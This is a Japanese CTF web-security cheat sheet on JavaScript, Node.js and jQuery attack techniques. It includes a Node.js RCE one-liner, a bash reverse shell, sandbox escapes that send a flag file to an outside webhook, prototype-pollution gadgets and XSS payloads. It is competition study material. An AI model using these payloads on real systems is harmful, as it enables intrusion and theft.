この記事はCTFのWebセキュリティ Advent Calendar 2021の18日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
JavaScript / node.js
- RCEワンライナー
console.log(process.mainModule.require('child_process').execSync('ls -la').toString());
- 適当にコマンドインジェクションするとき
いろいろ&&コマンド;//いろいろ
みたいな感じにするといい。前半の色々はちゃんと実行できるように頑張ること
- リバースシェル
require("child_process").exec("bash -i >& /dev/tcp/[IPAddress]/[Port] 0>&1");process.exit();
x = ~~x;
としてあると、xに文字列は使えず、整数しか使えない- encodeURIはエスケープとして不適切
- escape と encodeURI と encodeURIComponent を正しく使い分ける
- ここに説明があるが、encodeURIは
&
はエスケープされない
- GET parameterは複数回指定することで上書き可能
- なるほど。今回は最後に入力したものが採用されるみたいだけど、確か実装依存。前調べたときのメモには以下のように書いてあった
?username=abc&username=efg
$_GET["username"]
->efg
new URL(location).searchParams.get("username")
->abc
- document.writeでHTMLを書き込むと直後に再レンダリングしてくれる
- scriptタグがあれば実行もされる
- 途中にコメントを差し込んでも実行される
alert(document/**/.domain);
は実行されるalert(docum/**/ent.domain);
のようにキーワードをぶった切る場合は動かない
- String.prototype.includes()
- 文字列のincludesは大文字小文字を区別する
'Blue Whale'.includes('blue') // returns false
- innerHTMLとtextContent
document.documentElement.innerHTML = 'input'
はXSSに対して脆弱- ちなみにinnerHTMLはscriptタグを直接入れても即時実行されない
- javascript - Can scripts be inserted with innerHTML? - Stack Overflow
document.getElementById('body').textContent = 'input';
は安全 ここ
- Spread operatorは他の引数をoverrideできる
database.addData({ type: 'paste', ...req.body, uid });
となっている場合、bodyにtypeがあると値をoverrideできる- corCTF 2021 // Tom Plant
- Cross-window communication
- The clickjacking attack
- 参考になる資料
function () { ... }
を短縮する- アロー関数化する
()=>{}
- 引数はずれてても大丈夫なので、
x=>{}
みたいに適当に与えればいい
- アロー関数化する
.toString()
するよりも+''
としてキャストさせると短い+0
でも文字列化できる(最低function時のときは)
- 文字列を適当に変換する
[...str]+''
str='abc'
→[...str]={'a','b','c'}
→[...str]+''='a,b,c'
- arguments変数
(function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()
みたいに、無名関数で引数が与えられてなくてもarguments配列を使えば読める
- 即時関数で複数指定すると後半が実行される
(function(){return"A";},function(){return"B";})()
とするとBが帰る
- bind関数
- functionに対してbind関数を使うと、thisに値を代替できる
(function () { return String(this)[char_offset]}).bind(()=>{; /* ${FLAG} */ })()
- thisに
()=>{; /* ${FLAG} */ }
が入る
- thisに
- URLのhashから実行コードをとってくる方法
eval(decodeURIComponent(location.hash.slice(1)))
とかいて、URL末尾に#[base64-encoded jscode]
をつける
- GitHub - cure53/H5SC: HTML5 Security Cheatsheet - A collection of HTML5 related XSS attack vectors
- XSSのWriteup集
- iframeのsrcdoc
<iframe srcdoc="[html-tag]"></iframe>
とすることでsrcdoc内部でHTMLのタグ、scriptタグが実行できる(XSSできる)- これを使うとoriginを変更して実行できる?(よくわかってない)
- 改行
<CR>/<LF>/U+2028/U+2029
s = {"title":[userinput]}; title="title:"+s.title;
の場合、[userinput]に{"toString":null}
とやると、エラーを引き起こすことができる- window.locationまとめ 例
https://example.com/admin?x=huge&y=piyo#hogehoge
- window.location.href = "https://example.com/admin?x=huge&y=piyo#hogehoge"
- 全部
- window.location.protocol = "https:"
- window.location.host = "example.com"
- 注意点。
https://example.com:26/
のようにポートが80じゃないならexample.com:26
となる。なお、https://example.com:80/
ならexample.com
- 注意点。
- window.location.hostname = "example.com"
- こっちはポートがあってもなくてもホスト名だけ
- window.location.port = 80
- window.location.search = "?x=fuga&y=piyo"
- window.location.hash = "#hogehoge"
- window.location.pathname = "/admin"
- window.location.href = "https://example.com/admin?x=huge&y=piyo#hogehoge"
- 弱い比較
['admin'] == 'admin'
がtrueであるが、['admin'] === 'admin'
はfalse
- nodejsでfsモジュールのreaddirを使えばls相当が可能
- stringのreplaceは最初に見つけた1つ目しか変換されない
- jsは配列もstringも同じような関数が使えるので、配列を与えてみるとうまくいったりする
- includesとかindexOfとかsliceとか
- 配列はstringに変換されると、
['a','b','c']
はa,b,c
のようにコンマ結合される
- Hoisting
- jsでは定義が実行より後ろであっても上手い事動くし、書き換えもできる
function f() { console.log('pre'); } f(); function f() { console.log('post'); }
を実行するとpost
と出てくる- これを利用して、コードの先頭でほぼ使われているrequireを上書きして、予期せぬタイミングで任意コードを実行するテクがある ここ
- overrideされたスコープ外の要素を参照したい時
- ("global", eval)("this") - pirosikick's diary
- こういった話。new Proxyを使って、スコープで使えるメソッドとかを限定してXSSを防ごうとするものがある
- CTFtime.org / DiceCTF 2021 / Web IDE
js const safeEval = (d) => (function (data) { with (new Proxy(window, { get: (t, p) => { if (p === 'console') return { log }; if (p === 'eval') return window.eval; return undefined; } })) { eval(data); } }).call(Object.create(null), d);
- なんとかwindowインスタンスを得たいので、スコープ外のwindowを持ってきたい
const w = eval(this, "window"); w.fetch("https://evilman.requestcatcher.com/test", { method: "POST", body: "abcc" });
- CTFtime.org / DiceCTF 2021 / Web IDE
- こういった話。new Proxyを使って、スコープで使えるメソッドとかを限定してXSSを防ごうとするものがある
- vmライブラリ
- vmとvm2ってのがあるみたい
- Harekaze mini CTF 2020 で出題した問題の解説 - st98 の日記帳
this.constructor.constructor('return process')()
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('[command]')
- Sandboxing NodeJS is hard, here is why
- ("global", eval)("this") - pirosikick's diary
- 関数をtoStringするとコメントも一緒に出力される
- arguments.callee
- use strict下では使えないが、色々な関数にまつわる情報が抜ける
- JavaScriptの RegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g や /foo/y) はステートフルになります
- RegExp.prototype.exec() - JavaScript | MDN
- CakeCTF 2021 writeup - st98 の日記帳 - コピー
- そのため、
let filter = /(\'|\\|\s)/g;
というフィルタでfor (let name of neko_name) { if (filter.exec(name.toString()) === null) {
こういう使われ方をしていると、neko_nameに同じ文字列を与えたとき、その文字列に対して先頭からフィルターにヒットするものを順番に返していって、末尾まで来たらnullとなり、フィルターを抜け出してしまう
- innerTextを使うと自動でサニタイズされる
- Webpack
- パラメタを配列にしてうまくバイパスする
https://example.com/page?path[]=x&path[]=index.php
こんな感じにすると、パスがx,idnex.php
と認識されたりする。- nodejsでは、配列を文字列解釈したときにカンマ結合するためである。
- このままだとうまく使えないので、結合時でもうまく動くように調整する
https://example.com/page?path[]=x&path[]=/../index.php
とすると、x,/../index.php
となって、元のリクエストと同じになる。
- AST Injection
プロトタイプ汚染攻撃 Prototype pollution attack
- Prototype Poluttion Attack
- https://qiita.com/shellyln/items/af200a1953991de1698d
- jsのプロトタイプチェーンについては、以下が一番わかりやすかった。
- 図で理解するJavaScriptのプロトタイプチェーン - Qiita ```
- 指定したオブジェクトにプロパティが存在を調べる
- なかった場合protoが参照する先で存在を調べる
- それでもなかった場合protoが参照する・・・(ループ)
- 最終的にnullになるまで行う。nullならundefinedを返す ```
- これでどっかのプロトタイプを汚染しておくことで、本来無いプロパティをインジェクションできるという話。
- 「環境が使い捨て+Node.js」でPrototype Pollutionっぽさがある
- Gadget
- プロトタイプ汚染した状態で組み合わせると任意コード実行できたりXSSできたりするライブラリのこと。Gadget Chainという言葉もある。
- Node.jsでプロトタイプ汚染後に任意コード実行まで繋げた事例 - knqyf263's blog
- 色々書いてある
- GitHub - BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets
- 一覧としてまとめられている
- client-side-prototype-pollution/embedly.md at master · BlackFan/client-side-prototype-pollution · GitHub
- 例えばここのPoCとか見るとわかりやすい。上のscriptでプロトタイプ汚染をして、scriptで呼び出すだけで実行される
- ちなみに、Embedlyだと、
__proto__.css
にURLを入れるとCSSとして読み込んでくれる
- Vue.jsでのGadget例
- s1r1us - zer0ptsCTF2021-challenges
constructor[prototype][props][][value]=a&constructor[prototype][name]=":''.constructor.constructor('alert(1337)')(),"
constructor[prototype][v-if]=_c.constructor('alert(1337)')()
constructor[prototype][data]=a&constructor[prototype][template][nodeType]=a&constructor[prototype][template][innerHTML]="<script>alert(1337)<\/script>"
constructor[prototype][v-bind:class]=''.constructor.constructor('alert(1337)')()
- GitHub - BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets
- ここにも色々ある
- s1r1us - zer0ptsCTF2021-challenges
- jqueryでのGadget例
- CTFtime.org / VolgaCTF 2021 Qualifier / Online Wallet (Part 2)
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
が達成できれば$('<div x="x"></div>')
が含まれる部分で発火する
- CTFtime.org / VolgaCTF 2021 Qualifier / Online Wallet (Part 2)
- Squirrellyのgadget
- Prototype Pollution in Kibana
- posixさんの記事にあるプロトタイプ汚染からのRCE
- Handlebars + flat: flatライブラリでunflattenが使われていたらバージョンによってはプロトタイプ汚染が発生する
- HTB x UNI CTF 2020 | N0xi0us
- Cyber Apocalypse CTF 2021 Writeup | y011d4.log
- 発生契機
- jsonを受け取ってclone関数でオブジェクトを作る
- maze [InterKosenCTF 2020] - HackMD
- clone系の関数があると怪しいらしい
ojb[a][b] = c;
で、a,b,cのどれも外部入力可能- 適当なDeepCopyとかDeepMerge関数
- jsonを受け取ってclone関数でオブジェクトを作る
- テク
- protoを使えないようにフィルタリングしている場合は別の表記でバイパスする
- constructor.prototypeでもOKなので、['constructor']['prototype']みたいにすると['proto']と同等
- VolgaCTF 2021 Qualifier - Online Wallet (Part 2) · Issue #27 · aszx87410/ctf-writeups · GitHub
obj=Object.create(null)
として修正していて大丈夫じゃんとなっても、配列を与えるとできる例?a[0][]=1&a[0][__proto__][abc]=1
->[].abc==='1'
?a[0][]=1&a[0][__proto__][__proto__][b]=1
->Object.prototype.b='1'
- protoを使えないようにフィルタリングしている場合は別の表記でバイパスする
- defineSetterを汚染する
__defineSetter__
を汚染することで、代入時に発動する攻撃を仕掛けることもできる。exploit.py
- 問題
- 存在しないプロパティを埋め込む
__defineSetter__
を汚染する
- 参考
ライブラリとかフレームワークとか
- node-mysql-native
- JSのMySQLライブラリ
connection.query('SELECT * FROM users WHERE id = ?', [id]
のidに何が入ってるとどうなるか- mysqljs/mysql: A pure node.js JavaScript Client implementing the MySQL protocol.に書いてある
- 使えそうなのは連想配列を入れると、key = 'val'として出力される
- 攻撃例
const sql = 'Select * from users where username = ? and password = ?';
でcon.query(sql, [u, p], function(err, qResult) {
となってる- これで
username=michelle&password[password]=1
とすると、SELECT * FROM users WHERE username='michelle' AND password=`password`='1'
となる password=`password`='1'
これが恒真らしい、なぜだ…
- dotenv
- node.js向けの環境変数を扱うライブラリ。
- ディレクトリトラバーサル脆弱性があれば、どこかの
app/.env
を見ることで環境変数を抜ける。 これ
- Angular
- URLで
\
をスラッシュとして使用可能。パーセントエンコーディングはデコードされる。 - SSRF
- TokyoWesterns CTF 2020 | writeups by @terjanq
- AngularのSecondary segments - Angular Routerという機能を使ってバイパスする
- これを使うだけ
http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer).
- primaryを使うのみがミソっぽい
- ペイロード
- URLで
- Inspector
- nodejsのbuilt-inライブラリ。バックで動いているV8エンジンに直接命令を下せる
- ライブラリ自体:Inspector | Node.js v14.13.1 Documentation
- 命令の内容:Chrome DevTools Protocol - version v8 - Runtime domain
- privateプロパティが覗ける SECCON 2020 Online CTF - Capsule & Beginner’s Capsule - Author’s Writeup - HackMD
- v8ライブラリ
- ヒープが抜き出せる
const v8 = require('v8'); const memory = v8.getHeapSnapshot().read(); console.log(memory.toString());
- これだけ。この問題では量が多いので、sliceで抜き出して答えている
- Lodash
- 4.17.4にはプロトタイプ汚染の脆弱性がある
- hbs
- テンプレートエンジンであるhandlebars.jsをexpressから使えるようにしたもの
- The Secret Parameter, LFR, and Potential RCE in NodeJS Apps
- LFR (:Local File Read)ができる
router.post('/', function(req, res, next) { res.render('index', req.body.profile) });
みたいに呼び出すときにcurl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://[attackhost]/'
とすると、./../routes/index.js
を出力してくれる- 修正:
res.render('index', { profile })
のように直下におかないようにするのがいいみたい
- 4.0.3以下ならHandlebars.jsでRCE脆弱性がある Handlebars template injection and RCE in a Shopify app
- jpv
- A vulnerability in validate() · Issue #6 · manvel-khnkoyan/jpv · GitHub
- 変数名をconstructor.nameを追加でつけることによって偽装できる
- A vulnerability in validate() · Issue #6 · manvel-khnkoyan/jpv · GitHub
- querystring
- expressのPOSTでbodyからquerystringを受け取って
const { p } = querystring.parse(body)
みたいにパースしているときcurl http://34.84.5.211/ -d 'p=1&p=%ff/NN/NN/NN/flag' -H 'Content-Type: text/plain'
- こんな感じにNを使うことで.を表現できる
- expressのPOSTでbodyからquerystringを受け取って
- axios
- axios 0.21.0
- SSRFできる Requests that follow a redirect are not passing via the proxy · Issue #3369 · axios/axios · GitHub
- 参照先からリダイレクトさせるとプロキシを通さない(アクセス制限しててもbypass可能)
- 単純に以下のようにして、ここにアクセスさせると
http://127.0.0.1/admin
にリダイレクトするが、これはproxyを通さず表示可能js const http = require('http') http.createServer(function (req, res) { res.writeHead(302, {location: 'http://127.0.0.1/admin'}) res.end() }).listen(5566)
- SSRFできる Requests that follow a redirect are not passing via the proxy · Issue #3369 · axios/axios · GitHub
- axios 0.21.0
- Mermaid
- JSDOM
- DOMをjsで作るもの(よくわかってない)
- ここで作成されたDOMでonclickとかが呼ばれた場合はサーバ側のDOMとして動作するので、サーバ側でRCEができる感じになる
- ただ、サンドボックス上で評価されるので工夫が必要であるが、vmモジュールを使ったサンドボックスなので、既知の脱獄手順を使ってホスト上でRCEしよう
- corCTF2021の課題•ブライスのブログ
<button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('http://webhook.x.pipedream.net/?q=' + require('fs').readFileSync('flag.txt'));">next</button>
- DOMPurify: JS向けサニタイズライブラリの定番。結構強いから、基本的には抜けない。
- 脆弱性
- Write-up of DOMPurify 2.0.0 bypass using mutation XSS - research.securitum.com
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
で攻撃可能
- Write-up of DOMPurify 2.0.0 bypass using mutation XSS - research.securitum.com
- 脆弱性
- Express
app.use(bodyParser.urlencoded({ extended: true }))
- これがあるとGETパラメターに配列、連想配列を指定することができる
x[]=a&x[]=b
だとx=['a','b']
x[a]=1&x[b]=2
だとx=[a: '1',b: '2']
- ルーティングの文字は大文字小文字区別しないので
router.get('/flag', (req, res) => {
とあったら/FLAG
でもアクセス可能 - リクエストがどうなったら終わるか
return res.status(400).send('deploymentId required!').end();
のようにendがついてたら終わるreturn res.status(402).set('X-Billing-Account', account);
のようにendが無くて、nextがあれば、nextへ遷移する(!!)
- React
- CTFtime.org / redpwnCTF 2021 / MdBin
- PrototypePollution経由でXSS成功させている?
- CTFtime.org / redpwnCTF 2021 / MdBin
jQuery
- danger
- userinputがそのまま出力されるケース
$("#element").html([input]);
$("#element").append([input]);
- v1.6.2以前
$(location.hash)
として#<img>
を与えるとimgタグが作られる
- userinputがそのまま出力されるケース
- safe
$btnFacebook = $('<div />', {"data-href" : "[input]"})
のように辞書形式でpropertyを指定すればhtml化されてもうまいことエスケープされる$("#X").text([input]);
- jQueryのgetJSONは
callback=?
がURLに含まれる場合にはJSONPとして解釈するthis.contest = await $.getJSON(`/${location.hash.slice(1)}.json`)
みたいになっていたら#/example.com/a
で外部の//example/a.json
を見に行ってくれる- この場合に
/example.com/a.js?callback=?&
とすればjsを実行してくれる
TypeScript
- TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript
- ここでTS実行とか、jsにトランスパイルしたらどうなるかとか気軽に見れる
- hard-privateの中身をトランスパイル後に見る方法
- Beginner's Capsule [SECCON 2020 Online CTF] - はまやんはまやんはまやん
var __classPrivateFieldGet = function (receiver, privateMap) { return privateMap.get(receiver); };
を定義して、console.log(eval('__classPrivateFieldGet([インスタンス変数], [private名の#を_にしたもの])'));
- beginners-capsule.js これで丸ごと持ってこれる
JavaScript難読化
- Javascript Obfuscator
- javascript-obfuscator/javascript-obfuscator: A powerful obfuscator for JavaScript and Node.js
- よく見るし、業界標準?(業界人でないので分からないが、資料はたくさん出てくる)
- リソースを出力する謎関数を作成する。
- 0x3936 のような特徴的な識別子、debugger 文による解析妨害、0x487fdb(0xd9, 'og)h') のようによくわからない関数を呼び出して文字列等を取り出しているといった特徴がある。
- JSFuck
[]+[+[[][]]]
みたいなやつはJSFuckという難読化形式。- https://enkhee-osiris.github.io/Decoder-JSFuck/ で解除可能。
- うーにゃー
- (」・ω・)」うー!(/・ω・)/にゃー!encode
- kusanoさん作
- デコード方法
- ksnctf #3 Crawling Chaos - Qiita
- console.logでくるんで実行してデコードする
- 【(」・ω・)」うー!(/・ω・)/にゃー!】 ksnctfのCrawling Chaosを解いてみた | WEB EGG
- jsファイルにしてnodeで実行する
- うまくいけば抜き出せる
- ksnctf #3 Crawling Chaos - Qiita
- (」・ω・)」うー!(/・ω・)/にゃー!encode
- 難読化解除テク(と言ってもほぼ根性)
- フォーマッタ DirtyMarkup Beautifier - Javascript Formatter, JS Tidy Up
- 体裁を整えたりしてくれる
- フォーマッタ DirtyMarkup Beautifier - Javascript Formatter, JS Tidy Up
- Chromeのローカルオーバーライド
- これを使うと、ページを再読み込みしても修正されたjsなどを実行できる。
- やりたいサイトでデベロッパーツールを開く
- SourceパネルのOverridesタブを開く、適当なフォルダを指定する(どこでもいい)
- Pageタブを開き、修正をローカルで永続化しておきたいファイルを右クリックして、Save for overridesを選択する
- これでオーバーライドできたので、適当に修正して、実行する
- javascriptであれば、オーバーライド後に、Networkパネルから目的のjsファイルを選択して、Previewタブを開くと、ちょっときれいになったjsが得られるので、それを持ってきて、オーバーライドしたところで上書きするとちょっと幸せになる。
console.log(見たい変数);
でバンバン入れて、中身を見ていこう。
- これを使うと、ページを再読み込みしても修正されたjsなどを実行できる。
- 何を探すか
- jsだと暗号化とかも自前でやってるから、encryptとかdecryptとかのキーワードで探してみると何か出てくるかも
- どこかで外部からデータを持ってきているなら、SQLiができるかもしれない
- httpとかで検索したら良い感じのURL出てくるかも
- 参考
- JavaScript難読化読経
- Chrome Developer Toolsでのステップ実行が書いてある。便利。
- 難読化されたJavaScriptコードを読む : document
- JavaScript難読化読経
- debugger文を使った解析妨害コード
- Securinets CTF Quals 2021 の writeup - st98 の日記帳
- とりあえず
Deactivate breakpoints
で妨害は阻止できる(でもデバッグできない) - 解析妨害を潰していきましょう。Deactivate breakpoints を切って debugger が実行された際の Call Stack を確認すると、index.html の 1029 行目からこの関数が呼び出されていることがわかります。
- javascript-obfuscator/DebuggerTemplate.ts at 252b901b6954ba91cb1a82fa8a7b048e5ebbffeb · javascript-obfuscator/javascript-obfuscator · GitHubのような妨害コードと似ているところを探して、全部削除する
- とりあえず
- Chrome Developer Toolsがsource codeをbeautifyする前に(もしくは、している間に)ブレークさせる
- Securinets CTF Quals 2021 の writeup - st98 の日記帳